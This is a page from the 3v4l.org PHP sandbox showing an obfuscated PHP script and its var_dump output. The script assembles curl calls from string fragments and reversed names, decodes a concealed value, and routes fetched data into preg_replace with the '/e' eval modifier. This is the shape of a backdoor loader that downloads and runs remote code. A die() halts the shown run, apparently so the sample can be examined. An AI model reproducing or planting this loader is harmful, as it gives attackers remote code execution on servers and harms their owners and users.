3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php $vars = array( '28', 'chr', //1 -- x + 3 'curl', 'init', 'setopt', 'exec', // 5 'close', 'strtoupper', 'strrev', 'opt', 'timeout', 'refsnartnruter', '_', 'preg_replace', 'preg_split', 'base64_decode', "/mix../mixe", //16 ? '/mixed', "array_map", // 'implode', //19 3, 5, 7, 11, 13, 17, 19, 23, 'array_push' ); function xvars($n) { global $vars; $n+= 19; return ($n > 19) ? chr($n) : ''; } $x = array( '(( $vars[15] = $vars[ $vars[0] ]( $vars[15]( strrev( implode( array_map("xvars", preg_split( "/[\D]+/", preg_replace( "/vars/", "+", ${$vars[5][1]}[ $vars[22] -1 ] .${$vars[5][1]}[ $vars[22] +0 ] .${$vars[5][1]}[ $vars[22] +1 ] )) ) ) ) ) ))?0:0 )', '(( $vars[ $vars[0]-- ]( $vars[15],CURLOPT_TIMEOUT , 32 ))?0:0)', '(( $vars[ $vars[0] ]( $vars[15],CURLOPT_RETURNTRANSFER , 1 ))?0:0)', '(( $zvars = $vars[ $vars[0] ]( $vars[15] ))?0:0)', '(( $vars[ $vars[0] ]( $vars[15] ))?0:0)', '.strtoupper($vars[0]);', '->$vars[100]($vars[85].$vars[52]($vars[80]($vars[38].$vars[66]($vars[52],$vars[80]($vars[34]($vars[63]($vars[91]($vars[55].$vars[97],$vars[38])$vars[31],$vars[70]($vars[98]($vars[54])$vars[32].$vars[79].$vars[86],$vars[51]($vars[90])$vars[78].$vars[102]($vars[51].$vars[68].$vars[61].$vars[98]($vars[89]())', '(($vars[68].$vars[70]($vars[97]($vars[38].$vars[52])$vars[71]($vars[28])$vars[46])$vars[53])$vars[78].$vars[100],$vars[34]($vars[64],$vars[71].$vars[29])$vars[51].$vars[90].$vars[80]($vars[89],$vars[34]($vars[68].$vars[71].$vars[91]($vars[38].$vars[86])$vars[80].$vars[89])$vars[30],$vars[68],))', '(($vars[70])$vars[102])$vars[71])$vars[68],$vars[78])$vars[99].$vars[96])$vars[52].$vars[81].$vars[98],$vars[100]($vars[52],$vars[79],$vars[96]($vars[89])$vars[52].$vars[79])$vars[96])$vars[101].$vars[31].$vars[57]($vars[99].$vars[92]($vars[49]($vars[80]($vars[29],$vars[63])$vars[53]($vars[78]()' ); $i = $q = 0; while ($i < 5) { ($i != 2) ? ($vars[$vars[0] - $q]($vars, "curl_" . $vars[3 + $q]) && $q++) : 0; //step 0,1,3,4 $vars[0]++; var_dump($vars); die(); preg_replace("/mix../mix", ${$vars[16][3]}[0 + $i] . $x[5], "/mixed"); $i++;; } echo ($zvars); ?>
based on P00Vd
Output for 4.3.0 - 7.2.0
array(30) { [0]=> int(29) [1]=> string(3) "chr" [2]=> string(4) "curl" [3]=> string(4) "init" [4]=> string(6) "setopt" [5]=> string(4) "exec" [6]=> string(5) "close" [7]=> string(10) "strtoupper" [8]=> string(6) "strrev" [9]=> string(3) "opt" [10]=> string(7) "timeout" [11]=> string(14) "refsnartnruter" [12]=> string(1) "_" [13]=> string(12) "preg_replace" [14]=> string(10) "preg_split" [15]=> string(13) "base64_decode" [16]=> string(11) "/mix../mixe" [17]=> string(6) "/mixed" [18]=> string(9) "array_map" [19]=> string(7) "implode" [20]=> int(3) [21]=> int(5) [22]=> int(7) [23]=> int(11) [24]=> int(13) [25]=> int(17) [26]=> int(19) [27]=> int(23) [28]=> string(10) "array_push" [29]=> string(9) "curl_init" }